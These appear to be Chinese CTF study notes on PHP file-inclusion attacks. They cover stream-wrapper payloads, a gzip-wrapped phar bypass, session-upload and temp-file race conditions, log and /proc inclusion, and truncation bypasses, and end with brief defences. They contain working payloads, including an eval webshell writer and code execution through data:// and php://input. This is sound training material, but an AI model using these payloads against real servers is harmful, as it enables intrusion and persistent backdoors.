PHP 伪协议核心笔记(CTF 常用)
概述:PHP 伪协议是 PHP 内置的封装协议,用于访问输入 / 输出流、本地文件、压缩包等资源,是 CTF 中文件读取、代码执行、文件包含类题型的高频考点。核心涉及file://、php://、zip:///compress.bzip2:///compress.zlib://、data://等协议,不同协议对php.ini中allow_url_fopen和allow_url_include配置要求不同。
一、file:// 协议
配置要求: 不受allow_url_fopen(off/on)、allow_url_include(off/on)影响,双 off 下仍可使用。
核心用途:访问本地文件系统,读取本地文件内容。
使用方法:
bash
file://[文件的绝对路径和文件名]
测试示例:
bash
http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
二、php:// 协议
整体配置:无需开启allow_url_fopen;仅php://input/php://stdin/php://memory/php://temp需开启allow_url_include。
1. php://filter
配置要求: 不受allow_url_fopen、allow_url_include(均 off/on)影响。
**核心用途:**读取 PHP 文件源码(需通过 base64 编码输出,避免代码直接执行)。
使用方法:
php://filter/read=convert.base64-encode/resource=[目标文件路径]
测试示例:
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
2. php://input
配置要求
allow_url_fopen(off/on)、allow_url_include(on)。
核心用途
访问请求的原始数据只读流,将 POST 请求中的数据作为 PHP 代码执行。
使用方法:
GET 传参
file=php://input,POST 数据为待执行的 PHP 代码。
测试示例:
请求地址:http://127.0.0.1/cmd.php?file=php://input
POST 数据:<?php phpinfo()?>(也可构造一句话木马)
三、zip:/// compress.bzip2:/// compress.zlib:// 协议
配置要求:不受allow_url_fopen(off/on)、allow_url_include(off/on)影响,双 off 下仍可使用。
核心用途:访问压缩文件中的子文件,支持将压缩包重命名为非压缩后缀(如.jpg)绕过上传限制。
1. zip:// 协议
使用方法:
zip://[压缩文件绝对路径]#[压缩包内的子文件名]
测试示例:
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
2. compress.bzip2:// 协议
使用方法:
compress.bzip2://[压缩文件路径(绝对/相对)]
测试示例:
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg # 或相对路径 http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
3. compress.zlib:// 协议
使用方法:
compress.zlib://[压缩文件路径(绝对/相对)]
测试示例:
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg # 或相对路径 http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
四、data:// 协议
配置要求:必须满足allow_url_fopen=on且allow_url_include=on(实测 PHP 5.2/5.3/5.5/7.0 版本需双 on,与官方文档标注不一致)。
核心用途:直接执行 PHP 代码,支持明文 / Base64 编码两种方式。
使用方法:
- 明文格式:
data://text/plain,<?php 代码?>或data:text/plain,<?php 代码?>- Base64 编码格式:
data://text/plain;base64,[Base64编码后的PHP代码]或data:text/plain;base64,[编码内容]
测试示例:
明文 http://127.0.0.1/cmd.php?file=data://text/plain,\<?php phpinfo()?> # Base64编码(PD9waHAgcGhwaW5mbygpPz4= 对应 <?php phpinfo()?>) http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
《当include邂逅phar》笔记
1、题目环境概述
-
两个文件:index.php(文件包含)、upload.php(文件上传)。
-
上传文件需满足:
-
扩展名为
zip|bz2|gz|xz|7z。 -
MIME类型对应允许列表。
-
文件内容过滤:不能包含
__HALT_COMPILER()、PK、<?、<?php>
-
index.php使用basename处理$_GET['url'],无法使用伪协议。
2. include底层机制分析
compile_filename调用zend_compile_file。- 对于phar文件,
phar_compile_file会判断文件名中是否包含.phar(不区分伪协议)。 phar_open_from_filename→phar_open_from_fp:- 支持多种容器格式:gzip、bzip2、zip、tar。
- 自动识别并解压gzip/bzip2,解析zip/tar,最终寻找
__HALT_COMPILER();。
3. 利用思路
- 绕过关键字过滤 :
- 生成phar文件后,用gzip压缩为
.gz文件。 - 压缩后的文件内容不包含被过滤关键字(如
<?、__HALT_COMPILER)。 - 只要文件名包含
.phar(如test.phar.gz),PHP会自动解压并解析内部phar内容。
- 生成phar文件后,用gzip压缩为
- 绕过basename限制 :
- 不需要完整phar文件名,只需文件名中含
.phar即可(如1.phar.html、1.phar.png)。
- 不需要完整phar文件名,只需文件名中含
4. 示例操作
(1)生成phar
php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('whoami');
__HALT_COMPILER();
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
(2)压缩phar
php
gzip exploit.phar
(3)上传 exploit.phar.gz,通过include触发自动解压并执行phar中的恶意代码。
5. 关键发现
- PHP Phar扩展支持将Phar封装为gzip、bzip2、zip、tar等格式。
- 只要文件名包含 .phar(如 xxx.phar.gz),PHP会自动识别并解析容器内的Phar内容。
- 可用于绕过内容过滤和伪协议限制。
PHP Session执行文件包含漏洞
1、核心原理
利用 PHP 的
session.upload_progress功能。该功能本用于在文件上传时跟踪进度,默认开启。当 PHP 处理包含PHP_SESSION_UPLOAD_PROGRESS字段的文件上传请求时,会自动初始化 Session(即使session.auto_start关闭),并将该字段的值写入 Session 文件中。
2、触发条件
目标存在文件包含漏洞。
PHP 配置中 session.upload_progress.enabled 为 On(默认开启)。
能够发送 POST 请求(multipart/form-data 格式)并控制 Cookie 中的 PHPSESSID。
3、利用流程
- 构造恶意数据包:发送一个文件上传请求,在 POST 数据中包含字段名 PHP_SESSION_UPLOAD_PROGRESS,字段值中写入恶意代码(如 <?php phpinfo(); ?>)。
- 指定 Session ID:在 Cookie 中设置一个已知的 PHPSESSID(例如 zyl),从而控制生成的 Session 文件名(通常为 /tmp/sess_zyl 或类似路径)。
- 写入 Session:PHP 接收到请求后,会将恶意代码写入对应的 Session 文件。
4. 关键难点与解决:条件竞争
- 难点 :配置项
session.upload_progress.cleanup默认为On,意味着文件上传处理完成后,Session 文件会被立即删除,导致包含失败。 - 解决 :利用条件竞争 。
- 开启多线程并发。
- 一个线程不断发送上传请求,维持 Session 文件的生成或刷新。
- 另一个线程不断发起文件包含请求,尝试在 Session 文件被删除前读取并执行其中的代码。
5. 适用场景
当目标服务器存在文件包含漏洞,但无法利用日志文件、临时文件等其他常见方式进行攻击时,此方法提供了一个有效的利用途径,因为它依赖 PHP 默认开启的功能。
文件包含技巧(PHP 5 和 PHP 7)
技巧一:phpinfo + LFI (适用于 PHP 5 等环境)
适用场景:
目标服务器上存在 phpinfo() 页面,且存在文件包含漏洞。
原理:
phpinfo()页面会输出 PHP 的详细信息,其中包括上传文件的临时文件路径($_FILES变量中的tmp_name)。- 当上传文件时,PHP 会将文件暂存在临时目录(通常是
/tmp)。- 利用竞争条件,在上传文件的同时访问
phpinfo()获取临时文件名,并立即通过文件包含漏洞包含该临时文件。
利用步骤:
- 构造上传数据:编写 Python 脚本,向服务器发送包含恶意 PHP 代码的文件上传请求。
- 获取路径 :脚本同时访问
phpinfo(),解析返回的 HTML 源码,提取出[tmp_name]的值(即临时文件名,如/tmp/phpXXXXXX)。- 竞争包含:利用提取到的文件名,立即向文件包含接口发送请求,包含该临时文件。
- 持久化后门 :临时文件中的恶意代码被执行,通常会在服务器上写入一个持久化的 Webshell(例如写入到
/tmp/g或其他目录)。- Getshell:后续直接访问写入的 Webshell 即可执行命令读取 flag。
技巧二:PHP7 崩溃 + 临时文件残留 (适用于 PHP 7.0 - 7.1.9)
适用场景:
目标服务器上没有 phpinfo(),导致无法获取临时文件的具体名称。
原理:
- 利用 PHP 7.0-7.1.9 版本中的一个特性:使用特定的
php://filter过滤器会导致 PHP 崩溃。- Payload 示例:
php://filter/string.strip_tags=/etc/passwd。- 当 PHP 进程处理这类请求发生 Segment Fault(段错误)崩溃时,上传产生的临时文件不会被删除 ,而是保留在
/tmp目录下。
利用步骤:
- 构造崩溃请求 :使用
php://filter/string.strip_tags=...配合文件包含漏洞发送请求。- 并发上传:同时发送包含恶意代码的文件上传请求。
- 触发崩溃:PHP 崩溃,但上传的恶意临时文件被保留了下来。
- 爆破文件名 :利用题目提供的
dir.php(或其他列目录功能)扫描/tmp目录,寻找刚生成的残留临时文件(通常可以根据时间或特征判断)。- 包含执行:找到文件名后,通过 LFI 包含该文件执行恶意代码,获取 Shell。
文件包含漏洞总结
一、漏洞基础
1、漏洞定义
PHP 通过include/require等函数引入文件时,若传入的文件名未做合理验证,可导致意外文件泄漏或恶意代码注入
2、环境要求
allow_url_fopen=On(默认开启):允许从远程服务器 / 网站检索数据;allow_url_include=On(PHP5.2 后默认关闭):允许include/require远程文件。
3. 常见包含函数
include():引入文件失败仅报 E_WARNING,脚本继续执行。
require():引入文件失败报 E_COMPILE_ERROR,脚本终止执行
include_once()/require_once():若文件已包含则不再重复引入,错误处理特性分别同include()/require()
二、核心利用:PHP 伪协议
1. php://input
- 作用:访问请求的原始 POST 数据只读流,可将 POST 内容当作文件内容 / PHP 代码执行;
- 典型场景 :
- 任意代码执行:POST 传入 PHP 代码(如写入木马:
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>); - 绕过
file_get_contents()校验:POST 目标字符串(如校验I want flag时,POST 该内容即可绕过)。
- 任意代码执行:POST 传入 PHP 代码(如写入木马:
2. php://filter
- 作用:读取指定文件源码(需编码避免直接执行),导致任意文件读取;
- 核心 Payload :
- 直接读取:
php://filter/resource=flag.php; - Base64 编码读取(推荐):
php://filter/read=convert.base64-encode/resource=flag.php(解码后获取源码)。
- 直接读取:
3. zip://(zlib://、bzip2://)
- 作用:访问压缩包内文件,结合包含函数执行代码;
- 关键规则 :
- 需传入绝对路径;
- 用
#分隔压缩包和内部文件(URL 编码为%23); - 压缩包后缀可任意修改(如.zip 改.jpg);
- 示例 Payload :
zip://D:\zip.jpg%23phpinfo。
4. data:// & phar://
- data:// :类似
php://input,控制输入流执行代码; - phar:// :类似
zip://,支持相对 / 绝对路径,示例 Payload:phar://zip.zip/phpinfo。
三、其他包含场景
1. 包含 Apache 日志文件
- 原理:构造请求将 PHP 代码写入日志,再包含日志文件执行;
- 前提:知晓日志物理路径(Windows:
access.log/error.log;Linux:access_log/error_log); - 技巧:用 BurpSuite 避免浏览器转码,直接提交
<?php phpinfo();?>类代码到日志。
2. 包含 SESSION
- 利用条件:找到 SESSION 可控变量、知晓 SESSION 存储路径且文件可读写;
- 常见路径:
/var/lib/php/sess_PHPSESSID、/tmp/sess_PHPSESSID(PHPSESSID可从 Cookie 获取)。
3. 包含 /proc/self/environ
- 原理:该文件保存 User-Agent 头,在 UA 中插入 PHP 代码,包含此文件执行;
- 条件:PHP 以 CGI 方式运行、知晓文件路径且可读。
4. 包含临时文件
- 原理:PHP 上传文件会生成临时文件,利用竞争 / 暴力猜解文件名实现包含;
- 技巧:结合 phpinfo 页面的
php variables获取临时文件路径(高效);Windows 临时文件名仅 65535 种,可暴力猜解。
5. 包含上传文件
- 核心:上传图片马(如
copy 1.jpg/b+2.php 3.jpg制作),再包含该文件执行代码; - 示例:访问
http://xxx.com/index.php?page=./upload/201811.jpg,图片马写入shell.php。
6. 其他
包含 SMTP 日志、结合 XSS 注入代码后包含等。
四、漏洞绕过方法
1. 指定前缀绕过(过滤../等场景)
(1)目录遍历
用../../返回上一级目录,示例:?file=../../log/flag.txt(拼接路径后指向目标文件)。
(2)编码绕过
2. 指定后缀绕过(如代码拼接.txt场景)
(1)URL 特性
- Query(
?):?file=http://localhost/phpinfo.php?(拼接后为phpinfo.php?.txt); - Fragment(
#):?file=http://localhost/phpinfo.php%23(拼接后为phpinfo.php#.txt)。
(2)协议绕过
zip://:?file=zip://D:\zip.jpg%23phpinfo(拼接后为zip://D:\zip.jpg#phpinfo.txt);phar://:?file=phar://zip.zip/phpinfo(拼接后为phar://zip.zip/phpinfo.txt)。
(3)长度截断
- 条件:PHP < 5.2.8;
- 原理:Windows 目录最大 256 字节、Linux 最大 4096 字节,超出部分丢弃;
- 方法:重复
./截断后缀,如?file=././.../shell.php(省略大量./)。
(4)%00 截断
- 条件:
magic_quotes_gpc=Off+ PHP < 5.3.4; - 方法:
?file=shell.php%00(截断拼接的.txt)。
五、漏洞防御措施
1、最小权限化:关闭 / 限制allow_url_include、allow_url_fopen;
2、路径限制:设置open_basedir,将 PHP 可打开的文件限制在指定目录树;
3、输入校验:白名单限制包含文件,严格过滤./、\等特殊字符。